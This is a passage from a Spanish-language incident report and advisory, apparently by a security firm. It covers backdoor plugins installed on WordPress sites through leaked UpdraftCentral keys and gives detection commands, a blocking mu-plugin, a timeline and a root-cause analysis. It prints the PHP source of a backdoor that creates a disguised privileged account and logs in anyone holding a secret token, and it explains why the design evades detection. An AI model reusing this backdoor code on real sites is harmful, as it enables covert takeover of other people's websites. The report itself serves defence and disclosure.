style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep &#39;class-udrpc.php&quot;&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>La orden encuentra peticiones de UpdraftCentral sin versi\u00f3n de la biblioteca en la cabecera User-Agent, como las que envi\u00f3 el atacante. El panel real env\u00eda <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, as\u00ed que la orden no lo detecta.<\/p>\n<p>La variante funcional de la puerta trasera puede no dejar ning\u00fan rastro en la base de datos: sin el par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> inicia la sesi\u00f3n del atacante como un administrador existente. Por eso busque tambi\u00e9n en el registro de accesos peticiones a los disparadores de ambas variantes:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">zgrep -E &#39;[?&amp;](_[0-9a-f]{6}|[0-9a-f]{12})=[^&amp;&quot; ]{32}[&amp; ]&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>Revise cada l\u00ednea que encuentre. El estado 302 indica una redirecci\u00f3n al administrador, es decir, probablemente un inicio de sesi\u00f3n del atacante. El estado 500 indica que la variante defectuosa sigue en la web. El estado 200 con el tama\u00f1o normal de la p\u00e1gina indica que la puerta trasera ya no est\u00e1. <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">zgrep<\/code> revisa tambi\u00e9n los registros antiguos comprimidos.<\/p>\n<h3 id=\"opcional-bloquee-por-completo-las-\u00f3rdenes-de-updraftcentral\">3. Opcional: bloquee por completo las \u00f3rdenes de UpdraftCentral<\/h3>\n<p>Para estar seguro de que la web no ejecuta ninguna orden de UpdraftCentral aunque quede una clave en ella, guarde en el directorio <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/mu-plugins\/<\/code> un archivo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">block-updraftcentral.php<\/code> con este contenido:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST[&#39;udrpc_message&#39;] ) ) {\n\thttp_response_code( 403 );\n\texit;\n}<\/code><\/pre>\n<p>WordPress carga los archivos de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> antes que los plugins normales, as\u00ed que la petici\u00f3n se detiene antes de que UpdraftPlus la procese. Tambi\u00e9n bloquea la migraci\u00f3n de webs con UpdraftPlus Migrator, que usa el mismo canal. Borre el archivo cuando el fabricante haya explicado y resuelto el problema.<\/p>\n<p>Otra protecci\u00f3n barata: si PHP no puede escribir en <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins<\/code> (por ejemplo, otro propietario de la carpeta y permisos 750), la web acepta la orden firmada pero la instalaci\u00f3n del plugin falla. En una de las webs atacadas esto detuvo el ataque. Los plugins habr\u00e1 que actualizarlos de otra forma, por ejemplo con WP-CLI como propietario de la carpeta.<\/p>\n<p>Si usa Wordfence, actualice las reglas del cortafuegos (Wordfence \u2192 Firewall \u2192 All Firewall Options \u2192 Manually Refresh Rules). Wordfence ha publicado una regla que bloquea las \u00f3rdenes de UpdraftCentral, tambi\u00e9n para la versi\u00f3n gratuita. Sin embargo, la regla solo se aplica a UpdraftPlus hasta la 1.26.11 y anteriores a la 2.26.12, as\u00ed que ya no protege una web actualizada a la 1.26.12 \/ 2.26.12, aunque esas versiones no borran las claves. Actualice directamente a la 1.26.13 \/ 2.26.13.<\/p>\n<h2 id=\"c\u00f3mo-lo-descubrimos\">C\u00f3mo lo descubrimos<\/h2>\n<p>A las 5:38 recibimos un correo autom\u00e1tico de WordPress: \u00abWordPress caught an error with one of your plugins, Load Stack 35C.\u00bb Nunca hab\u00edamos instalado un plugin con ese nombre. El mensaje de error dec\u00eda <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code>, y desde las 4:14 nuestra web respond\u00eda a cada petici\u00f3n con un error 500.<\/p>\n<p>Todos los archivos de la carpeta <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins\/load-stack-35c\/<\/code> ten\u00edan la misma hora de modificaci\u00f3n, 4:14:30. Un segundo despu\u00e9s cambi\u00f3 la carpeta <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, que WordPress usa para descomprimir los plugins que instala. El plugin lleg\u00f3, por tanto, a trav\u00e9s del instalador est\u00e1ndar de WordPress y no como un archivo copiado al disco. En ese mismo segundo el registro de accesos contiene una \u00fanica petici\u00f3n:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] &quot;POST \/ HTTP\/1.1&quot; 200 8454 &quot;-&quot; &quot;WordPress\/6.4; class-udrpc.php&quot;<\/code><\/pre>\n<p><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php<\/code> es la biblioteca con la que UpdraftPlus recibe \u00f3rdenes de UpdraftCentral. Su propio registro (la opci\u00f3n de base de datos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftcentral_client_log<\/code>) lo confirm\u00f3: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code>.<\/p>\n<h2 id=\"cronolog\u00eda\">Cronolog\u00eda<\/h2>\n<p>Llamamos a las webs A, B y C. Todas las horas en CEST. Todas las peticiones llegaron desde <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> (proveedor RedSwitches) con la cabecera User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n<table>\n<thead>\n<tr class=\"header\">\n<th>Web<\/th>\n<th>Sondeo<\/th>\n<th>Instalaci\u00f3n del plugin<\/th>\n<th>Resultado<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Web C<\/td>\n<td>19\/10 0:41:32<\/td>\n<td>6:05:31<\/td>\n<td>fallida, la clave pertenec\u00eda a un usuario sin permiso para instalar plugins<\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Web A<\/td>\n<td>2:14:05<\/td>\n<td>4:14:30<\/td>\n<td>puerta trasera \u00abLoad Stack 35C\u00bb activa, web ca\u00edda hasta las 6:13<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Web B<\/td>\n<td>2:39:44<\/td>\n<td>6:53:49<\/td>\n<td>puerta trasera \u00abText Gantry Eb0\u00bb activa, eliminada a las 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>El sondeo es un mensaje dirigido a una clave inexistente, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code>. La web responde que no entiende el mensaje y con ello revela que acepta \u00f3rdenes de UpdraftCentral. La siguiente orden el atacante ya la envi\u00f3 a la clave real <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0.central.updraftplus.com<\/code>. En las tres webs el ataque transcurri\u00f3 igual, por el mismo atacante, con pocas horas de diferencia.<\/p>\n<p>Otro administrador nos envi\u00f3 registros seg\u00fan los cuales la misma IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> prob\u00f3 otros ataques en dos de sus webs ya el 23 de septiembre de 2026: una consulta a la API REST con la lista de p\u00e1ginas y unos diez intentos de path traversal en el par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pagename<\/code>. El atacante estuvo explorando estas webs casi un mes antes del ataque a trav\u00e9s de UpdraftCentral.<\/p>\n<p>El atacante volvi\u00f3. El 19 de octubre llegaron m\u00e1s peticiones de UpdraftCentral a la web A a las 10:57:48, a la web B a las 11:14:19 y a la web C a las 12:03:14, siempre dos en el mismo segundo, y a la web C otra m\u00e1s a las 20:27:50. Nuestro mu-plugin ya las detuvo todas con un 403, as\u00ed que no sabemos qu\u00e9 conten\u00edan. Otro administrador nos envi\u00f3 su registro de UpdraftCentral, en el que el atacante envi\u00f3 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code> a las 12:22:48 y un nuevo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> a las 12:22:50, sustituyendo la puerta trasera defectuosa por otra. Nuestros pares de peticiones probablemente corresponden al mismo tipo de cambio. UpdraftPlus escribe en el registro de UpdraftCentral cada orden que supera la comprobaci\u00f3n de la firma como \u00abCommand received\u00bb antes de ejecutarla (lo comprobamos en el c\u00f3digo de la versi\u00f3n 2.26.11). Pero el registro solo guarda los \u00faltimos 50 eventos, y las peticiones detenidas por el mu-plugin no aparecen en \u00e9l.<\/p>\n<p>En la web de otro administrador, el atacante envi\u00f3 el sondeo el 18\/10 a las 23:10:30 CEST y despu\u00e9s subi\u00f3 tres puertas traseras distintas: a las 23:39:52 la m\u00ednima oculta \u00abSite Health Cache\u00bb, a las 0:34:34 la funcional \u00abFast2engine\u00bb y el 19\/10 a las 9:28:47 la defectuosa \u00abPost Dock 776\u00bb. Un par de peticiones a las 11:40:45 y 11:40:46 fall\u00f3 all\u00ed con un error 500, porque la puerta trasera defectuosa ya hac\u00eda caer toda la web. As\u00ed que el atacante no siempre env\u00eda primero la variante defectuosa, y una misma web puede recibir varias puertas traseras.<\/p>\n<h2 id=\"c\u00f3mo-funcion\u00f3-el-ataque\">C\u00f3mo funcion\u00f3 el ataque<\/h2>\n<p>Al conectar una web a UpdraftCentral, la web genera un par de claves RSA y env\u00eda la clave p\u00fablica al servicio UpdraftCentral Cloud. El servicio tiene su propio par de claves y env\u00eda a la web solo su clave p\u00fablica. La clave privada del panel se queda en el servicio. Cada orden debe ir cifrada para la clave de la web y firmada con la clave privada del panel. La web la ejecuta entonces con los permisos del usuario que cre\u00f3 la clave en WordPress.<\/p>\n<p>La orden <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> super\u00f3 toda esta comprobaci\u00f3n en dos webs. Analizamos la web A en detalle y descartamos estas explicaciones:<\/p>\n<ol type=\"1\">\n<li><strong>La vulnerabilidad conocida CVE-2026-10795.<\/strong> Afecta a UpdraftPlus hasta la 1.26.4 (premium hasta la 2.26.4). Nuestras webs ten\u00edan la 2.26.11. Vemos intentos de explotarla en los registros de las webs B y C desde junio, desde decenas de direcciones IP, y todos terminaron con \u00abCould not decrypt incoming message\u00bb.<\/li>\n<li><strong>Un plugin modificado.<\/strong> Los archivos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc2.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/bootstrap.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/listener.php<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/host.php<\/code> son id\u00e9nticos byte a byte a la versi\u00f3n oficial 1.26.11 de wordpress.org.<\/li>\n<li><strong>El formato antiguo de mensajes sin firma.<\/strong> El c\u00f3digo lo rechaza para las claves de UpdraftCentral, y la entrada \u00abCommand received\u00bb solo se escribe despu\u00e9s de esa comprobaci\u00f3n.<\/li>\n<li><strong>Una clave del panel sustituida.<\/strong> Las huellas de las claves son las mismas en las copias diarias del 15 al 18 de octubre y en la base de datos en producci\u00f3n, y en los registros de acceso nadie llam\u00f3 a la funci\u00f3n de intercambio de claves.<\/li>\n<li><strong>Criptograf\u00eda d\u00e9bil.<\/strong> Tanto la clave de la web como la del panel son RSA de 2048 bits con exponente 65537, y UpdraftPlus incluye phpseclib 2.0.55, que tiene corregido el conocido fallo de verificaci\u00f3n de firmas.<\/li>\n<li><strong>Un wp-admin comprometido.<\/strong> No aparecieron administradores desconocidos, las sumas de comprobaci\u00f3n del n\u00facleo y de los plugins coinciden y los registros no muestran ninguna subida de plugin desde el administrador.<\/li>\n<\/ol>\n<p>El atacante ten\u00eda, por tanto, las claves privadas del panel de las tres conexiones a la vez. Esas claves nunca han estado en nuestros servidores, as\u00ed que no pudieron filtrarse desde ah\u00ed. Las \u00f3rdenes tampoco llegaron desde un servidor de TeamUpdraft. El panel real envi\u00f3 \u00f3rdenes a la web B en marzo y abril de 2026 con esta cabecera User-Agent:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n<p>El atacante enviaba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, sin versi\u00f3n de la biblioteca y sin URL, desde su propio servidor. Las claves se filtraron, por tanto, del entorno de UpdraftCentral Cloud y el atacante las us\u00f3 fuera de \u00e9l.<\/p>\n<p>El 19 de octubre TeamUpdraft confirm\u00f3 que durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso a teamupdraft.com y probablemente a la base de datos de clientes, incluidas las claves de UpdraftCentral. Las claves se filtraron, por tanto, de la infraestructura del fabricante. La cronolog\u00eda encaja: las claves de las webs B y C exist\u00edan desde noviembre de 2025 y el atacante no las us\u00f3 hasta la noche del 18 al 19 de octubre, justo despu\u00e9s de la intrusi\u00f3n. El fabricante no ha explicado c\u00f3mo entr\u00f3 el atacante en teamupdraft.com.<\/p>\n<p>En la web C el ataque fall\u00f3 por casualidad. All\u00ed la clave la cre\u00f3 en noviembre de 2025 un usuario que ya no es administrador. Antes de instalar, UpdraftCentral comprueba si el propietario de la clave tiene los permisos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">activate_plugins<\/code>. No ten\u00eda ninguno de los dos.<\/p>\n<h2 id=\"por-qu\u00e9-es-un-problema-cr\u00edtico-de-updraftcentral\">Por qu\u00e9 es un problema cr\u00edtico de UpdraftCentral<\/h2>\n<p>El cliente de UpdraftCentral forma parte de cada copia de UpdraftPlus, gratuita y premium. Se activa cuando el propietario conecta la web al panel. A partir de ah\u00ed la web ejecuta cada orden firmada con la clave del panel con los permisos del administrador que cre\u00f3 la conexi\u00f3n, incluida la subida y activaci\u00f3n de cualquier plugin. El propietario de la web no confirma la orden y, en nuestro caso, nada nos avis\u00f3. Las claves del lado de la web no caducan: las de noviembre de 2025 segu\u00edan funcionando en octubre de 2026, y otro administrador informa de claves de febrero y marzo de 2022 que fueron usadas. La antig\u00fcedad de una clave no la protege. Tambi\u00e9n se us\u00f3 la clave de la web A, creada el 10\/10\/2026. Otro administrador observ\u00f3 que el atacante dej\u00f3 en paz una copia de pruebas de una web con la misma clave pero otra direcci\u00f3n. Al parecer, el atacante trabajaba con la lista de webs que solo tiene UpdraftCentral.<\/p>\n<p>La seguridad de todas las webs conectadas depende as\u00ed de una \u00fanica suposici\u00f3n: que las claves privadas del panel no se filtren. Se filtraron, y el atacante, desde un solo punto y en pocas horas, tom\u00f3 el control de dos webs e intent\u00f3 una tercera. UpdraftPlus tiene m\u00e1s de 4 millones de instalaciones activas. Entre los plugins de copias de seguridad de wordpress.org solo All-in-One WP Migration (m\u00e1s de 5 millones) tiene m\u00e1s instalaciones, y es sobre todo una herramienta de migraci\u00f3n. Solo una parte de los usuarios de UpdraftPlus usa UpdraftCentral, pero incluso una peque\u00f1a parte de 4 millones son muchas webs.<\/p>\n<p>El mismo canal ya fall\u00f3 antes. En junio de 2026 el fabricante corrigi\u00f3 la vulnerabilidad CVE-2026-10795 (CVSS 8.1), con la que un atacante pod\u00eda falsificar \u00f3rdenes de UpdraftCentral sin iniciar sesi\u00f3n e instalar y activar un plugin malicioso. Seguimos registrando intentos de explotarla.<\/p>\n<h2 id=\"qu\u00e9-hace-exactamente-la-puerta-trasera\">Qu\u00e9 hace exactamente la puerta trasera<\/h2>\n<p>El plugin tiene cinco archivos, pero solo el principal contiene l\u00f3gica. Esta es la parte relevante de la muestra de la web A. Hemos acortado el token y la contrase\u00f1a:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">define( &#39;LOADSTACK35C_TOKEN&#39;, &#39;j0j8nxxH\u2026&#39; );      \/\/ 32 caracteres\ndefine( &#39;LOADSTACK35C_FIELD&#39;, &#39;_9f5696&#39; );\ndefine( &#39;LOADSTACK35C_SVC_LOGIN&#39;, &#39;data-ops43&#39; );\ndefine( &#39;LOADSTACK35C_SVC_PASS&#39;, &#39;L7sfkZMw\u2026&#39; );    \/\/ 22 caracteres\n\nfinal class LoadStack35c {\n\tprivate function __construct() {\n\t\tadd_action( &#39;init&#39;, array( $this, &#39;handle_sync&#39; ), 1 );\n\t}\n\n\tpublic function handle_sync() {\n\t\tif ( isset( $_GET[ self::FIELD ] ) &amp;&amp; hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n\t\t\t$user = get_user_by( &#39;login&#39;, self::SVC_LOGIN );\n\t\t\tif ( ! $user ) {\n\t\t\t\t$uid = wp_insert_user( array(\n\t\t\t\t\t&#39;user_login&#39;   =&gt; self::SVC_LOGIN,\n\t\t\t\t\t&#39;user_pass&#39;    =&gt; self::SVC_PASS,\n\t\t\t\t\t&#39;user_email&#39;   =&gt; self::SVC_LOGIN . &#39;@example.org&#39;,\n\t\t\t\t\t&#39;display_name&#39; =&gt; &#39;Site Tools&#39;,\n\t\t\t\t\t&#39;role&#39;         =&gt; &#39;editor&#39;,\n\t\t\t\t) );\n\t\t\t\tif ( is_wp_error( $uid ) ) return;\n\t\t\t\t$u = new WP_User( $uid );\n\t\t\t\t$u-&gt;add_cap( &#39;manage_options&#39; );\n\t\t\t\t$u-&gt;add_cap( &#39;install_plugins&#39; );\n\t\t\t\t$user = get_user_by( &#39;id&#39;, $uid );\n\t\t\t}\n\t\t\twp_set_current_user( $user-&gt;ID, $user-&gt;user_login );\n\t\t\twp_set_auth_cookie( $user-&gt;ID, true, is_ssl() );\n\t\t\twp_safe_redirect( admin_url( &#39;index.php&#39; ) );\n\t\t\texit;\n\t\t}\n\t}\n}\n\nregister_activation_hook( __FILE__, function () {\n\tif ( ! get_option( &#39;load_stack_35c_sync_token&#39; ) ) {\n\t\tupdate_option( &#39;load_stack_35c_sync_token&#39;, &#39;j0j8nxxH\u2026&#39;, false );\n\t}\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\n<p>As\u00ed funcionar\u00eda si no tuviera un error:<\/p>\n<ol type=\"1\">\n<li>En cada petici\u00f3n a la web se engancha a la acci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code> con prioridad 1, antes que la mayor\u00eda de los dem\u00e1s plugins.<\/li>\n<li>Comprueba si la URL contiene el par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?_9f5696=<\/code> y compara su valor con un token de 32 caracteres. Compara con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code>, que tarda lo mismo coincidan o no los valores, de modo que el token no se puede adivinar midiendo los tiempos de respuesta. Sin el token correcto no ocurre nada y la web se comporta con normalidad.<\/li>\n<li>Con el token correcto crea el usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code> con una contrase\u00f1a fijada en el plugin, el correo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43@example.org<\/code> y el nombre visible \u00abSite Tools\u00bb.<\/li>\n<li>Le asigna el rol Editor y adem\u00e1s dos capacidades sueltas: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>.<\/li>\n<li>Inicia la sesi\u00f3n del visitante como ese usuario mediante <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> con \u00abrecordarme\u00bb, es decir, con una cookie v\u00e1lida 14 d\u00edas. As\u00ed se salta por completo el formulario de acceso, por lo que no act\u00faan ni la autenticaci\u00f3n en dos pasos, ni el l\u00edmite de intentos, ni la protecci\u00f3n de acceso de Wordfence.<\/li>\n<li>Lo redirige al administrador.<\/li>\n<\/ol>\n<p>El rol Editor con dos capacidades extra es intencionado. En la lista de usuarios la cuenta aparece como Editor, no como Administrador, as\u00ed que en una revisi\u00f3n normal de administradores pasa desapercibida. En la pr\u00e1ctica tiene control total de la web:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> permite subir cualquier plugin. Sus archivos PHP se pueden ejecutar directamente por URL incluso sin activarlo, lo que equivale a ejecutar cualquier c\u00f3digo en el servidor.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> da acceso a todos los ajustes. Basta con activar el registro y poner administrador como rol por defecto para que el atacante se cree un administrador completo.<\/li>\n<li>En un WordPress normal un Editor tiene tambi\u00e9n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">unfiltered_html<\/code>, as\u00ed que puede insertar en las entradas JavaScript que se ejecuta en el navegador de cada administrador.<\/li>\n<\/ul>\n<p>La puerta trasera tiene adem\u00e1s una segunda capa. La cuenta creada, con una contrase\u00f1a conocida, 